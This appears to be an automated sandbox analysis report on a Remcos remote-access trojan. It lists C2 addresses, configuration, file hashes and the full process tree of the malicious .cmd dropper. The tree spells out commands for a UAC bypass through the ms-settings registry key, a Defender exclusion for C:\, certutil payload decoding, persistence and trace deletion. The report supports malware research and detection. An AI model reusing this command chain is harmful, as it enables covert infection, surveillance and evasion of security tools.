Analysis

  • max time kernel
    209s
  • max time network
    211s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-05-2024 09:31

General

  • Target

    17173318465.zip

  • Size

    1002KB

  • MD5

    ed0ed615d8c62f8a55f9b6d56b3b8aff

  • SHA1

    c91b96e4775a686c2bfcae1a9d8eb9f744de995a

  • SHA256

    99c9604c43f258385150f75b5df3e7d7a4a2c5364ed7d0ce592a90ea3b076323

  • SHA512

    db6fd59264b8fd3964235605c5eebad17bf4ac4caf111c84eb1689ebb42bb18a15cc36fc6d9361ab85bc02d165f14515ef3945c5ad34fe51bdb8af03a91e8c05

  • SSDEEP

    24576:m4SvFvkv07m+98vcV8+TPbk7ImwqtfK9f+hYz3G3Y/ummbLv:m4kFMc7398vwTRm9okOz3G3cov

Malware Config

Extracted

Family

remcos

Botnet

BiggsCrypt

C2

20.121.128.235:4876

20.121.128.235:4834

20.121.128.235:4845

20.121.128.235:4674

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    isos.dat

  • keylog_flag

    false

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    rooooasasasaoa-93IIHB

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 26 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\17173318465.zip
    1⤵
      PID:4524
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1252
      • C:\Program Files\7-Zip\7zFM.exe
        "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\17173318465.zip"
        1⤵
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3488
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\5d3624460b990081e4cbccd1b358bec784a42f219d55d94043d31787502dd3f3.cmd" "
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:5008
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          2⤵
            PID:916
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            2⤵
            • Executes dropped EXE
            PID:2300
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            2⤵
            • Executes dropped EXE
            PID:4624
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2416
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              3⤵
                PID:4628
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4160
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                3⤵
                  PID:3360
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4320
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  3⤵
                    PID:4648
                • C:\Windows\System32\extrac32.exe
                  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\WSReset.exe "C:\\Windows \\System32\\itsme.exe"
                  2⤵
                    PID:2460
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3060
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                      3⤵
                        PID:3764
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2008
                      • C:\Users\Public\xkn.exe
                        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        3⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:3500
                        • C:\Users\Public\alpha.exe
                          "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                          4⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:1952
                          • C:\Users\Public\ger.exe
                            C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            5⤵
                            • Executes dropped EXE
                            • Modifies registry class
                            PID:3904
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\Desktop\5d3624460b990081e4cbccd1b358bec784a42f219d55d94043d31787502dd3f3.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2880
                      • C:\Users\Public\kn.exe
                        C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\Desktop\5d3624460b990081e4cbccd1b358bec784a42f219d55d94043d31787502dd3f3.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
                        3⤵
                        • Executes dropped EXE
                        PID:3736
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:4740
                      • C:\Users\Public\kn.exe
                        C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
                        3⤵
                        • Executes dropped EXE
                        PID:3372
                    • C:\Windows \System32\per.exe
                      "C:\\Windows \\System32\\per.exe"
                      2⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      PID:1592
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2304
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM SystemSettings.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2280
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:1564
                      • C:\Windows\system32\PING.EXE
                        ping 127.0.0.1 -n 2
                        3⤵
                        • Runs ping.exe
                        PID:3156
                    • C:\Users\Public\Libraries\sppsvc.pif
                      C:\Users\Public\Libraries\sppsvc.pif
                      2⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2020
                      • C:\Windows\SysWOW64\extrac32.exe
                        C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\sppsvc.pif C:\\Users\\Public\\Libraries\\Rzwxyjvt.PIF
                        3⤵
                          PID:4012
                        • C:\Windows\SysWOW64\SndVol.exe
                          C:\Windows\System32\SndVol.exe
                          3⤵
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:4356
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        2⤵
                        • Executes dropped EXE
                        PID:1420
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        2⤵
                        • Executes dropped EXE
                        PID:2692
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        2⤵
                        • Executes dropped EXE
                        PID:2704
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:2480
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:1996
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:1732
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\sppsvc.rtf" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:2300
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:1460
                    • C:\Windows\system32\SystemSettingsAdminFlows.exe
                      "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                      1⤵
                        PID:2220

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfs44mvg.4t2.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • C:\Users\Admin\Desktop\5d3624460b990081e4cbccd1b358bec784a42f219d55d94043d31787502dd3f3.cmd

                        Filesize

                        3.2MB

                        MD5

                        366a8d4073f8409849e001e7feb3d894

                        SHA1

                        207a1fc1e41e3e7776511e692a9cb166d59d2d13

                        SHA256

                        5d3624460b990081e4cbccd1b358bec784a42f219d55d94043d31787502dd3f3

                        SHA512

                        f262b68076974242a84fdd0b301a2307d550dfd9f884801902974e29f0a3d2dc0699e5aaad2c319e6aec87bcdf5190bc11cc938fc69d9668e3b85c57ed0ea51f

                      • C:\Users\Public\Libraries\sppsvc.pif

                        Filesize

                        1.1MB

                        MD5

                        e62ff91b6b729d830b15d8f81bc57ede

                        SHA1

                        38b3ac66c5899d0de5a91f66ecee1cb6e95b2973

                        SHA256

                        33a072ab2cc4195ed145081a2c88f2b000bdcae9c4b5989c7e9013feabb6ec59

                        SHA512

                        9ef30e503f09061a72560a384dd25c5028db46154cce430c1db7149cc697c795f86effd691167d61606402927087d0dc34366487ae7714b650bd42919e558d1f

                      • C:\Users\Public\alpha.exe

                        Filesize

                        283KB

                        MD5

                        8a2122e8162dbef04694b9c3e0b6cdee

                        SHA1

                        f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                        SHA256

                        b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                        SHA512

                        99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                      • C:\Users\Public\ger.exe

                        Filesize

                        75KB

                        MD5

                        227f63e1d9008b36bdbcc4b397780be4

                        SHA1

                        c0db341defa8ef40c03ed769a9001d600e0f4dae

                        SHA256

                        c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                        SHA512

                        101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                      • C:\Users\Public\kn.exe

                        Filesize

                        1.6MB

                        MD5

                        bd8d9943a9b1def98eb83e0fa48796c2

                        SHA1

                        70e89852f023ab7cde0173eda1208dbb580f1e4f

                        SHA256

                        8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                        SHA512

                        95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                      • C:\Users\Public\sppsvc.rtf

                        Filesize

                        2.2MB

                        MD5

                        8ab8b1cab45b50b97ff80bff5e10291a

                        SHA1

                        966cd90ae89517d31fecc7bfaccec8703ddecfdb

                        SHA256

                        9b6ed53256341d48bc5981e48c8bb1e7547928143af4b33f0433468c7a4e11fd

                        SHA512

                        02adb968d9a6153fd055cff48aaa7c2328d41a5a14b88b7509955903a12e5c7a07ade608a7ffb54d9bfebe243a7f01d5c9655dcd3276110f32e5ee0b2c322cdf

                      • C:\Users\Public\xkn.exe

                        Filesize

                        442KB

                        MD5

                        04029e121a0cfa5991749937dd22a1d9

                        SHA1

                        f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                        SHA256

                        9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                        SHA512

                        6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                      • C:\Windows \System32\itsme.exe

                        Filesize

                        92KB

                        MD5

                        5e3561d98bd5fb1d20098faa0384faa8

                        SHA1

                        c07ccaa16c161776c35e3d056afcc2a6b0816616

                        SHA256

                        2f59cfe63442b61f8aaef0e1471d40dbc8ae91d4697bde7699e9d0f3f1aece1a

                        SHA512

                        d8cde2587b92dfa15def287bb0043d142a9329aae8670963f179e6118d3bb1e758cbb9fdcd8f43065edaf15edbd9e25c2068d854df5e5ca5c4c6bc883fd4904e

                      • C:\Windows \System32\per.exe

                        Filesize

                        48KB

                        MD5

                        85018be1fd913656bc9ff541f017eacd

                        SHA1

                        26d7407931b713e0f0fa8b872feecdb3cf49065a

                        SHA256

                        c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                        SHA512

                        3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                      • memory/2020-87-0x0000000000400000-0x0000000000522000-memory.dmp

                        Filesize

                        1.1MB

                      • memory/3500-43-0x00000186D3AC0000-0x00000186D3AE2000-memory.dmp

                        Filesize

                        136KB

                      • memory/4356-94-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-93-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-90-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-88-0x0000000002A50000-0x0000000003A50000-memory.dmp

                        Filesize

                        16.0MB

                      • memory/4356-95-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-96-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-97-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-98-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-103-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-104-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-105-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-107-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB

                      • memory/4356-108-0x0000000000400000-0x0000000000482000-memory.dmp

                        Filesize

                        520KB